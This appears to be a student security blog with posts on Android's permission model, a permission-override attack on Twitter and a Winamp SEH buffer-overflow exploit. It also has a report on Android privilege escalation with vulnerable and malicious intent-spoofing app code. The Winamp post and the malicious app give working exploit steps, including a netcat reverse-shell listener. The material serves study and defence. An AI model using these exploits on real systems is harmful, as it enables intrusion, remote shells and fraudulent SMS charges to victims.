Don't wanna be here? Send us removal request.
Text
AndroidSecurity Model
Android is a privilege separated operating system where every application runs with a unique system ID, called the UID, in its own sandbox. A central design point of the Android security architecture is that no application has permission to adversely impact other applications, the operating system or the user. Every application in Android has four high level components namely, Activity, Service, Broadcast Receiver and Content Provider. Each component can interact with each other with the help of something called Intent. Every component inside an application can call each other by just passing intents and does not need any permission to do so. A component can access other components outside its own application sandbox if the Android system grants it permission.
Android’s Old Permission Mechanism
Permissions can be either defined by the Android system or can be defined by app developer. Each of the system defined permissions is used to protect some resource on the phone. Typical examples of system defined permissions are CALL_PHONE used to make phone calls, INTERNET used to open network sockets, SEND_SMS used to send messages, CAMERA used to capture images etc. Custom permissions defined by the app developer are typically used to protect components created by the developer. Each permission in android has a name, label, description, permission group and protection level. The name must be unique and is used in code to refer to the permission. Permissions with conflicting names cannot exist in the Android system. Label and description are used to describe the role of the permission to the user. Permission group is used to specify the category of the permission like camera, Calendar, contacts, location etc. This allows the user to grant a set of permissions in a single action. Finally and most importantly protection level specifies the procedure the Android system should take to grant permission to the requesting application. Android permissions have four protection levels namely -- normal which is granted by the system automatically at install time, dangerous which is granted by the system at install time only if the user approves, signature which is granted only if the application requesting it is signed with the same key as the one used to sign the application that declared the permission, and finally signatureOrSystem which is the same as signature but is only granted to apps in the Android system image. The default level is normal. An application must request upfront all the permissions it needs. When an application is installed, the package manager goes through all the permissions requested by the app. Normal permissions are granted by default by the system, signature permissions are granted by the system if and only if the app requesting the permission has the same signature as the app that defined the permission, dangerous permissions are granted only if the user approves it. If a user denies even a single dangerous permission then the app is not installed. An app is also not installed if it defines a permission that is already defined in the system.
Enforcing Permission
Once an app has been installed in the system, it has been granted all the permissions it had requested at install time. When a particular component is called, the android system checks if the uids of the caller and the callee match. If they match access is instantly granted. If they do not match then it checks if the callee component is exported or public. If it is not exported then the call fails. However, if exported then it checks whether it is protected by a permission. If it is protected by a permission then it checks if the caller component has been granted that permission by referring to the permission name attribute. If permission has been granted then the caller is allowed to call the callee else a security exception is thrown. However, if the exported callee component is not protected by a permission then the caller is granted access anyway.
Android’s New Permission Mechanism
Recently Android launched the M permission model, which introduced a new app permission model. Android made two primary changes to their security model.
Dangling Permissions Previously Android did not revoke any permission once a permission was granted to an app. This led to various problems of privilege escalation where even the most stringent signature permissions could be by passed by non-privileged apps to gain unauthorized access. In the new permissions model a permission whose definition does not exist in the system anymore will be revoked. Consider a case where app A creates a custom permission with name customPermA. Let us say that customPermA is used to protect a content provider in app B. Let us assume that app C needs to access the content provider in app B. It requests for customPermA and is granted by the system. If a user for some reason uninstalls app A then app C’s permission to access the content provider in app B will be revoked. This could lead to some unexpected behavior if app C tries to access the content provider in B after the revocation. It could even lead to app C crashing due to a security exception. However, it does solve the problem where a malicious app could use dangling permissions to gain unauthorized access to a component.
Run time permission check Older versions of Android granted all permission at install time. The downside of this approach was that user’s weren’t allowed to install the app if they disagreed with even one permission. For instance, if a user wanted to install a gaming app and that app wanted access to the internet but the user was not comfortable with it,then the user would have to deny installation. With android’s new permission mechanism users do not have to make that choice at install time. Permissions with protection level dangerous in Android’s new model are not granted when the app is installed. Permissions with protection level normal and protection level signature are still granted at install time though. When the app runs and one of its component wants to access another component protected by a permission whose protection level is dangerous then the user is prompted for approval. If the user approves then access is granted. If the user denies then access is not granted and the app developer should handle the access denial gracefully. If the user denies permission but tries to access the functionality that requires this permission again then the user is prompted again for approval but this time with a “do not ask again” option. If the user approves then access is granted. But if the user denies and selects “do not ask again” then user will never be prompted again and the app will never be granted this permission. Also, users have the option of revoking permissions. For instance, if a user wants to upload an image to the Facebook app then Facebook will request the user to grant access to gallery. The user grants access but can revoke it after uploading the app. Therefore, developers are advised to always check whether their app has the required permission before accessing a resource and handle it gracefully if permission is not granted otherwise their apps might crash. Stalling the granting of permission right up to the time when it is actually required could make the user sit up and take notice as opposed to granting permissions at install time where the user was most likely to grant it without paying much attention.
Does it solve the problem of unauthorized access?
Android’s run time permission might force the user to pay more attention before granting permission requests; it still leaves the responsibility with the user. If the user grants permission that does not mean that the caller is authorized to call the callee. Moreover, permissions with protection level normal and signature still behave the same way as they used to in the older model. Just like the old model, the new permission model is not enough to prevent unauthorized access. It needs to be complemented with a system where the identity of the caller is also verified before access is granted to it.
Android’s fix to revoke permissions whose definitions do not exist in the system does solve the problem of overriding a permission of higher protection level with a permission of lower protection level. However, it introduces a new problem of availability. Revoking permissions from existing apps could lead to unpredictable behavior if the developer has not handled such a situation. This could lead to the app not working at all especially if the permission revoked was critical to its functioning. A better approach would be to check if the permission and not only the permission name requested by the caller is the same as the permission protecting the callee.
The following approach could be a better alternative to solve the dangling permissions problem and the unauthorized access problem. Assumptions: Let A and B be two components in the android system. Let P(A) be the permission protecting A and let Pu(B) be the permission that B requests. Please note that P(A) and Pu(B) are not mere permission names but the permission object itself. It holds all the information about that permission like name, label, protection level etc. Also, let WL(A) be a white list of components and their signatures that are allowed to access component A. Also, let grant(Pu(B)) be a function that returns true if Pu(B) has been granted by the system else returns false. Finally, let L(P(A)) be the protection level of that permission. Algorithm: if UID(A) = UID(B) grant access else if grant(Pu(B)) if P(A) = Pu(B) if L(P(A)) = "signature grant access else if B in WL(A) or WL(A) is empty grant access else reject call else reject call else reject call
This approach solves the problem of dangling permissions without affecting the availability of the app and it also provides a white list mechanism through which components will be able to explicitly specify who is authorized to access it. The Android source could be modified to perform this check every time a component is called by another.
0 notes
Text
Exploiting Twitter – A case study
Permissions with protection level ‘signature’ are the most stringent that Android has to offer. These permissions can only be used by those components that have the same signature certificate as that of the app that declared it. However, it turns out that the ‘signature’ protection level can be bypassed because of Android’s “first come-first in” mentality. This means that if two apps declare the same permission with different protection levels, the app that is installed first will override the protection level of the permission declared in the app that is installed later. We understand this attack by demonstrating it on the Twitter app. The Twitter app has a content provider with the authority com.twitter.android.provider.TwitterProvider. This is protected by read and write permission com.twitter.android.permission.RESTRICTED. This permission is declared in Twitter’s manifest file with protection level ‘signature’. This means that only those components that have been signed with Twitter’s certificate can access this content provider. However, if we create a malicious app, declare this same permission in the malicious app’s manifest with protection level ‘normal’ and install it before Twitter is installed then the protection level of com.twitter.android.permission.RESTRICTED will be overridden by the Android system and will become ‘normal’. This means that any component that uses this permission should be able to access the content provider. Clearly, this is not what the developers of twitter intended. The point to understand here is that this is not exactly the developer’s fault. The developer assumed that by declaring a permission as ‘signature’ will protect the content provider from unauthorized access however, the developer did not account for Android’s “first come first in mentality”. This attack could have been thwarted if the developer had checked if the component trying to access the content provider uses permission that has a protection level of signature. If the protection level is not signature then access should have been denied. This is why it is necessary to create guidelines and enforce them in a framework to help developers write secure code.
0 notes
Text
Solving the Problem of unauthorized access in Android
Access control in Android is implemented through a combination of UID checks and permission checks. However, this model can be bypassed to gain unauthorized access in two ways.
Android’s permission mechanism is not enough to prevent unauthorized access. If a caller component is granted permission by the system at install time or by the user at run-time then it gains access to the callee component. The Android system does not check the identity of the caller component. It assumes that because permission has been granted to it, the access request is legitimate. However, this assumption is not always true. A malicious app can use those permissions in its own manifest to gain access to a protected component even though the component was not intended to be accessed by the malicious app.
The second problem is more of an implementation issue in the Android system. All permissions except dangerous permissions are granted when an application is successfully installed in the system. Dangerous permissions are granted only when the user approves at run time. Up until Android 5.0 these protection levels could be upgraded or downgraded. For instance, a permission declared as signature used to protect a sensitive component could be re-declared as normal by a malicious app. A colluding app could then use this permission in its manifest. If the malicious app is then uninstalled and the benign app with the sensitive component is installed, then the colluding app will still be able to use that permission to gain access. In Android 5.1 this was resolved by revoking the permission whose definition does not exist. This means that the colluding app’s permission will be revoked when the malicious app is uninstalled. While this does solve the problem of unauthorized access, it introduces a new problem where legitimate apps could crash due to the sudden revocation of a permission which was granted to it by the system before. A more elegant solution would be to maintain a white list of apps and their signatures that are allowed to interact with a component. If a call is made to this component from outside its sandbox, then we check if the permission granted to the caller matches with the permission name and protection level of the permission protecting the callee. If they match, we check if the protection level is “signature”. If it is then access is granted. If not then we check the white list. If the caller is present in the white list we grant access. If not we reject it. However, if the white list is empty we should still grant access to accommodate for cases where a component might want to be accessed by everyone. This approach does not solve the problem of dangling permissions but does prevent unauthorized access caused due to it without affecting the availability of the app. It also provides a white list mechanism through which components will be able to explicitly specify who is authorized to access it. The Android source could be modified to perform this check every time a component is called by another.
0 notes
Text
Exploit Generator for Windows7
Details of how to run the exploit:
Ø Take the winampx0.pl file and run it to generate mcvcore.maki file. The original mcvcore.maki file in C:/Program Files/Winamp/Skins/Bento/script in the victim machine should be replaced with this file. Following is the command to this: $ cd C:/Program Files/Winamp/Skins/Bento/script $ perl winampx0.pl > mcvcore.maki Alternatively you could also generate mcvcore.maki file in some other machine and fool the user on the victim machine to download this file and save it in the aforementioned path.
Ø Open up a cmd and listen on port 4444. The command to do this is: $ nc –lvp 4444
Ø Run Winamp application The reverse shell will be sent to 127.0.0.1 (Loopback IP) on port 4444.
The exploit works just fine and I get a shell back!
Logic behind the exploit:
Ø Our target is to exploit vulnerability in Winamp. The vulnerability is a potential buffer overflow in the mcvcore.maki file.
Ø We know that the victim machine has all sorts of security built into the operating system like stackguard, ASLR and SEH. To bypass these we need to understand how these security measures work.
Ø Stackguard is a process to foil any attempt made by the attacker to gain control of the EIP by using the canary word. Canary word is a special randomized string that is inserted into the stack before the saved EIP. Whenever a long input is passed, the attacker is forced to change the canary word before writing into the EIP. As soon as the canary word is overwritten, the system detects a change and passes control to an exception handler. The exception handler mechanism is implemented through a linked list. Every node on that linked list has two parts. The first part is a pointer to the next Exception Handler and the second part is a pointer to that actual function that handles the exception. If that function cannot handle the exception it is passed onto the next one and so on till someone can handle it. If no one can handle it, the default handler takes care of it.
Ø As a result of this stack guard it is not enough to pass a long input and hijack EIP control. This is because the canary word will not allow us to write into the EIP. However, in Windows 7 which is the operating system of our victim machine, the exception handling mechanism is implemented on the stack, which means that we can exploit the exception handlers to gain control of the EIP.
Ø We know that the exception handlers are linked together by a linked list which is on the stack. When the canary word is overwritten, control jumps to the linked list. In the linked list the first node is a pointer to an exception handling function. This pointer is popped to EIP and then the function gets executed. The big idea is to overwrite with an input large enough to overwrite the contents of the linked list and gain control of the EIP.
Ø We write a perl script “winampx0.pl” to design a long input of 300000 “A” characters and generate mcvcore.maki with that. We then run the Winamp executable in Windbg and inspect the memory. Windbg has a handy command called “!exchain” that allows us to inspect what is being written into the linked list.We see that 30000 “A” are enough to write into the linked list. As a result of the “A”s creeping into the exception handler linked list, the program crashes. This is the first step to a successful exploit – crashing the program!
Ø But we still do not have enough information about the exact length required. So we use Metasploit’s pattern_create.rb and pattern_offset.rb to find out that 16760 characters are enough to write into the first node of the linked list.
Ø The next step is to determine the address of where we will inject our shell code. We know that a node in the exchain linked list has two parts. The second part that is the address which points to the exception handler functions gets popped to EIP and then the function executes. We need to hijack this part and point it to our shell code. But this part cannot be a return address on the current stack because when the exception handler function gets called, a new stack space is allocated.
Ø We examine the memory to find out what happens in the new stack after an exception. We know from the nature of a function call that the first bytes that get pushed onto the stack are the function parameters. This is exactly what we see in memory as well. On exception, the address of the first node of exchain gets pushed onto the stack along with a few other parameters. In the memory we see that the pointer to the first node of exchain lies in the ESP+8th position.
Ø All that remains to be done now is to force the control to point to the beginning of our shell code. For this purpose we place our shell code exactly after the pointer to the exception handler function. We know after an exception the control will point to the second part of the linked list node. We overwrite this part with a pointer to POP/POP/RET. When this instruction is read, ESP and ESP+4 will be popped from the stack ; RET will pop the next stack element to EIP. This element is nothing but a pointer to the next SEH record as described above. We overwrite pointer to the next SEH record with an instruction called JMP 04 (EB 04) which is where our shell code is. The shell code executes and we get a shell!
Ø However, before we do this we need to determine an address where the sequence POP/POP/RET resides. We do this by searching the library files for Winamp using narly. It is important to note that since we are attacking Win7, a lot of the dll files will be protected by ASLR, /SAFESEH and /NOSEH. We need to find a library file without these compiler flags. It turns out that NSCRT.dll a library file in Winamp doesn’t have these protections turned on. We take this library file and run msfpescan on it to find sequences of POP/POP/RET. The command we used was: $ msfpescan –p /root/NSCRT.dll We got a list of addresses pointing to POP/POP/RET sequences and used that to complete our exploit.
0 notes
Text
Privilege Escalation Attacks on Android
Android is the most popular mobile operating system in the world today. It allows users to customize their phones by installing third party applications which lets them do a host of activities from browsing the web to playing games to scheduling their activities to listening to music and many more. Android provides tools that make the development of such apps simple. Moreover, the Android project is open source with free access to documentation, which means that anyone can examine the Android model, read the documentation and develop applications on it. This has led to an explosion of apps, which is a good thing for the users in general. However, a lack of proper understanding of Android’s powerful features can lead to gaping security holes that could easily be exploited by attackers to gain unauthorized access to private information. This report tries to understand the security model of Android and the rules that should be followed in order to build secure apps. The report also looks at the kind of attacks that can take place if these rules are not followed. Finally it briefly discusses current and future research on how to mitigate such attacks.
Android Overview
Android is built on top of the Linux kernel. Therefore, it inherits all the security features of the linux kernel like isolation of apps through sandboxing. This means that, every app runs inside it own space and does not have access to the data of other apps. Inter app communication takes place through a permission system which we shall describe later. The core Android libraries along with the Android Runtime System (ART) are built on top of the Linux kernel and use it to communicate with the phone hardware. The core Android libraries are mostly written in C/C++. The Android Runtime System (ART) consists of a few more libraries and the Dalvik Virual Machine(DVM). The DVM is an optimized JVM created especially to run on mobile phones. Every app in the Android system resides in a separate process and runs on a dedicated DVM. The application framework is built on top of the libraries and the ART. The application framework provides numerous high level services or APIs to app developers in the form of Java classes. The last layer is the application layer. All Android apps are developed and installed on this layer. Examples of such applications are Contacts Book, Browsers, SMS and other third party apps. A diagram of the Android architecture is given below.
An Android app is made of four basic components. All classes and methods are extended or derived from them. The components are as follows:
Activity: User interaction in Android takes place through the Activity base class. The activity class takes care of creating a window in which UI can be placed. The activity class has many methods like onCreate(), onStart, onStop(), onPause(),onResume() and onDestroy(). These methods are invoked whenever an event related to an activity happens. For instance, if a window is opened up the onStart() method is called. These methods should be implemented by any class that extends the Activity class.
Service: A service is an application component that can perform long –running operations in the background. Typically services do not have any UI and our mostly associated with an activity, which means that they run on the same thread as an activity but as a background process.
Broadcast Receivers: Broadcast receivers are components that sit in the background and listen for incoming requests. They are mostly used to relay data between activities or services of different app or the same app.
Content Providers: These are mini databases that are associated with an app. They are basically stored in an app’s file system and are protected from outside access unless the developer makes some exceptions.
Intent: Intents are classes that are used for both inter and intra app communication. Communication requests and responses are encapsulated in an intent object and are sent to or received from the various Android components. Intents can be used to start Activities; start, stop and bind Services; and broadcast information to Broadcast Receivers. Intents can be of two types – explicit and implicit. Explicit intents know exactly who the data is being sent to or from where the data is coming. Implicit intents on the other hand are system wide objects that are broadcast and resolved at runtime. Implicit intents are a cause of worry from a security perspective as we shall see later.
Android’s Permission Model
The linux kernel ensures that every app runs inside its own process. Every app has a user Id and has access to resources allowed under that user Id. This is called sandboxing which isolates apps from each other. However, Android has a very complex communication model which allows apps to easily talk to each other provided they have the right set of permissions. For instance, if an app wants to make phone calls then it can do so by communicating with the phone app. In order to do so it has to declare this permission in its manifest file. When the app is installed by a user, Android asks the user if this app should be allowed to make phone calls. If the user agrees then the app is installed else it is rejected. Similarly, if an app wants to access the Internet then it should have the necessary permission to do so. Also, apps can define their own permissions and declare them in the manifest file. Any other app that wants to communicate with this app should have those permissions defined in their manifest file. This is Android’s way of allowing inter-app communication at the same time protecting resources from unauthorized access. All permissions have a protection level that determines how difficult the permission is to acquire. There are four protection levels:
There are four protection levels:
Normal permissions are granted automatically.
Dangerous permissions can be granted by a user during installation. If the permission request is denied, then the application is not installed
Signature permissions are only granted if the requesting application is signed by the same developer who created the permission.
Signature or System permissions are granted if the application meets the signature requirement or if the application is installed in the system applications folder. System applications are mostly pre-installed by a device manufacturer or manually installed by an advanced user on a rooted device.
Quite clearly the last two protection levels are the strongest provided that the signatures have not been compromised. The first two protection levels are relatively weak and can be subject to exploitation. If components or apps are not properly protected by permissions they could be used maliciously to breach Android’s security model. In a sense Android’s permissions system is conceptually flawed because it does not enforce permissions but leaves it to the developer to enforce it. If a developer somehow fails to provide adequate permissions, which is not very uncommon then due to the transitive nature of the permissions system, privilege escalation attacks could take place. For instance, let us say that app A has the right permissions to access app C but app B does not have the permissions to access app C’s resources and is malicious. If app A has some vulnerability in one of its components then app B could exploit that vulnerability to gain access to app C. In the next section we will see some examples of how such attacks could take place.
Privilege Escalation Attacks
Privilege escalation attacks could take place by various methods. We look at a few common techniques like Intent spoofing attacks and the more advanced Return Oriented programming without returns attacks.
Intent Spoofing
Intents are message passing objects that help apps communicate with each other. As mentioned earlier intents are of two types explicit and implicit. A malicious application can launch intent spoofing attacks by sending an intent to an exported component of a victim application that is not expecting intents from that application. This can happen when a component is exported when it was not intended to. Ideally developers should limit access to such components, but they do not always do so. To test this I created two apps one benign but with a vulnerability and one malicious app that exploits that vulnerability. Below is the sample code followed by an explanation.
public class MessagingService extends IntentService {
@Override
public void onCreate()
{
super.onCreate();
//code deleted for clarity
}
@Override
protected void onHandleIntent(Intent intent) {
try{
//code deleted for clarity
//loop through each phone no in the hash map and send SMS to each
if(ContactBean.ContactMap!=null && ContactBean.ContactMap.size()>0)
{
for(String phoneNo : ContactBean.ContactMap.keySet())
{
smsManager.sendMultipartTextMessage(phoneNo, null, smsParts, piSent, piDeliver);
Thread.sleep(2000);
}
}
else
{
AppCommonBean.commonErrMsg = AppCommonConstantsClass.NO_CONCT_ADDED;
}
}
catch(Exception e)
{
AppCommonBean.commonErrMsg = AppCommonConstantsClass.COMMON_ERR_MSG;
}
stopSelf();
stopService(intent);
}
@Override
public void onDestroy() {
super.onDestroy();
//code deleted for clarity
}
}
The above code is a service that runs in the background and sends SMS to all numbers in the hash map. Only the parts required for this discussion are shown. The finer details of code have been deleted. This service is part of an emergency app. The purpose of this app is to gather the current location of the user and send SMS to the user’s closest people when the user is in an emergency. The service has SMS_SEND permission which is required for sending SMS. Below is a part of the manifest.xml file of this app.
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.idost"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="11"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher4">
//deleted for clarity
<service android:name="com.example.idost.service.MessagingService">
<intent-filter>
<action android:name="android.intent.action.CALL" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter> </service> </application></manifest>
The manifest file shows that this app has permissions to send sms. However, the Messaging Service class has been declared in the manifest with an intent filter (see the red highlighted portion). In Android if an intent filter is declared for a particular component it makes that component public by default. Therefore, any component can create an intent with a matching action and category and call this service from its own app to send random messages. When the user gets the phone bill at the end of the month he will be surprised to see the high number of messages sent from his phone. The only challenge for the attacker here is to match the intent filter. That should not be very difficult for the attacker since the developer has used a standard action string as its intent filter. Android has a fixed set of action strings which the attacker can brute-force very easily. The sample code of the malicious app is given below.
package com.example.exploityelfp;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
public class MalActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_mal);
try {
Intent serv = new Intent(Intent.ACTION_CALL);
try{
startService(serv);
}
catch(Exception e)
{
e.printStackTrace();
}
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void onStart() {
super.onStart();
//some useful code
} }
The above malicious activity could be part of a useful app created by a malicious attacker. When this activity is called by the user, the messaging service of the other app will be called without the user knowing anything about it since the service invocation code is in the onCreate() method of the malicious activity. The following is the manifest of the malicious app. The interesting thing to note is that this app has no permissions declared in its manifest and yet it is able to escalate its own privileges to send SMS to random phone nos.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.exploityelfp"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.example.exploityelfp.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.example.exploityelfp.MalActivity"
android:label="@string/title_activity_mal" >
<intent-filter>
<action android:name="android.intent.action.SENDTO" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
</application>
</manifest>
An attack of this sort is a classic case of Intent spoofing and is one of the most common hacking techniques used in Android. The important thing to note is that this would not have been possible if the developer of the Messaging service had been careful and had protected his service with adequate permissions in the manifest file. The best thing for the developer would have been to set the “exported” attribute to be false and use only explicit intents to communicate with the service. However, this is always not possible since services are often required to be called from other apps that the developer trusts. In such cases the developer could either use digital signatures to verify the invoker of the service or he could have used the permissions attribute in the manifest to protect his service. That would have allowed only a component with that permission to start the service.
This sort of attack can also be carried out on other components like Broadcast Receivers and Activities. In the case of broadcast receivers if an exported broadcast receiver blindly trusts an incoming broadcast intent it could operate on malicious data from that intent or it could just propagate the intent to a sensitive service or application. In case of an activity a user could be tricked to click on a button that takes her to the activity of another application, the user might then make changes to the victim app believing that she is still on the malicious app.
Return Oriented Programming without returns
A lot of Android apps use the Java Native Interface (JNI) framework to call native libraries written in C/C++. Libraries written in C/C++ are often subject to buffer overflow attacks. I borrow an exploit technique described in Davi et al. to show how buffer overflow vulnerabilities in native libraries can compromise the security of an app that uses that library. Android has all modern protection techniques like stackguard and data execution implemented in its operating system. Therefore, the only useful technique would be Return Oriented Programming (ROP). However, recent Android versions can also thwart ROP attacks because it detects the presence of instruction streams with frequent returns. Three consecutive sequences of five or fewer instructions ending in return trigger an alarm. Davi et al suggest a technique called ROP without returns to bypass this defense mechanism. If the ROP chain has no returns then this defense mechanism will not detect it. However, returns are essential for the ROP chain to actually work. Therefore, return instructions are replaced by instructions that behave like return. On both the x86 and the ARM which Android uses, such instructions exist. They are called Update-Load-Branch (ULB) instructions. These instruction sequences update the Stack Pointer; load the address of the next instruction sequence to execute based on the stack pointer’s state; and finally branch to the address loaded. However, ULB instructions are not as frequently found as return instructions. To overcome this, a single ULB instruction is designed as a trampoline. Each instruction sequence used to compose a gadget set ends in an indirect jump to the trampoline, which redirects the execution to the next set of instructions.
Given that the Android permission model does not handle transitive permissions as shown with intent spoofing attacks, the idea behind this exploit is to find an app A that makes a call to a vulnerable native library. Let us say this app has permissions to another app B in the system which has a wide set of permissions like sending sms, making calls, accessing Bluetooth, opening camera, internet access and many more. Any malicious app with no permissions to app B can exploit A to gain permission to app B and consequently to all the resources that app B has access to.
Davi et al. in their paper describe an actual scenario like this. They create a vulnerable app A which makes a call to a vulnerable library. The code of the vulnerable native library is given below.
struct foo
{
char buffer[460] ;
jmp_buf jb ;
};
jint Java_com_example_helloJni_HelloJni_doMapFile(JNIEnv* env , jobject thiz)
{
// A binary file is opened ( not depicted )
. . .
struct foo _ f = malloc(sizeof_f) ;
i = setjmp ( f>jb ) ;
if (i!=0) return 0 ;
fgets ( f>buffer , sb.stsize , sFile ) ;
longjmp ( f>jb , 2 ) ;
}
Quite clearly there is a potential buffer overflow in the above code. The setjmp function is a system function that creates a special data structure called jmp_buf to save the current state or values of the control registers like ESP, EIP, EBP etc. The function longjmp is also a system function that reads the jmp_buf data structure to restore the register values. If the jmp_buf can be overwritten by attacker controlled data before longjmp is called, then the attacker will be able to run arbitrary code. The fgets function allows the buffer variable to be written with the contents of a binary file without proper bounds checking. Writing more than 460 characters will also overflow the jmp_buf data structure because they are declared inside the same structure. However, care has to be taken to bypass the canary. Android implements a fixed canary to protect the heap, leaving 52 bytes between the jmp_buf and the canary word. The canary is hard coded into libc.so and is therefore device and process independent. So any buffer overflow will have to consider the 52 bytes of space between the canary and the jmp_buf.
Our next goal is to find an app B with a large permission set. Recently, Android has come up with the Android Scripting Environment that is a client-server app that allows developers to rapidly develop application prototypes by writing scripts and executing them from the phone itself. The interpreter is hosted on a server and the server is implemented as an Android component with a wide set of permissions. However, the server component is itself not protected by any permissions and anyone with permission to the client can invoke it. It is assumed that the device being attacked as ASE installed in it. The vulnerable app described previously has permission to the ASE client. When code in the vulnerable library is invoked through the jni, the setjmp vulnerability is exploited to cause a heap overflow. A ROP chain with the ULB trampoline is injected into the heap and a stack flip is caused by making the ESP point to the address in the heap which has the ROP chain. The ROP chain is executed till the system function which invokes the scripting shell is called. The function takes a command and a port number as input. The ASE client running on behalf of the vulnerable app establishes a socket connection with the ASE server passes the command and the port number. The ASE server executes the command like “send 100 sms to a premium-rate no” without checking any permissions and the vulnerable app is allowed to do so even if it wasn’t authorized to do so at install time thus clearly, escalating its privilege.
Mitigation
Privilege escalation attacks are just one class of attacks that happen due to security vulnerabilities in Android apps. There are many other types of attacks as well like intercepting implicit intents and XSS attacks through WebView. While, Android provides a basic security model through sandboxing, it also gives developers a lot of freedom to enable inter-app communication. This expands Android’s attack surface. Therefore, achieving the right balance is important. Android’s security model is enough to prevent malicious attacks if developers understand the security model properly and write secure code. However, it is not always easy to write secure code especially in times of rapid development. Therefore, the only way forward is to create tools that will help developers write secure code. There has been a lot of research on static analysis tools that detect security vulnerabilities. A lot of research has also been done on formalizing Android’s security model and creating a type based system from a security perspective. Some research has also been done on a Model Driven Development approach from a security perspective. However, MDA in Android is still in its nascent stage. The main idea behind MDA in Android is that the developer will create a communication model for her app. MDA will transform that model into a formal model and prove that it is secure. If it is not secure then the developer is asked to correct the model. However, if it is secure then code is generated from that model. I believe that a very good way to prevent attacks is to provide security at the application layer and that can only happen if developers write secure code. Therefore, the future of attack mitigation especially in Android will probably be in the direction of creating tools that facilitate secure development.
0 notes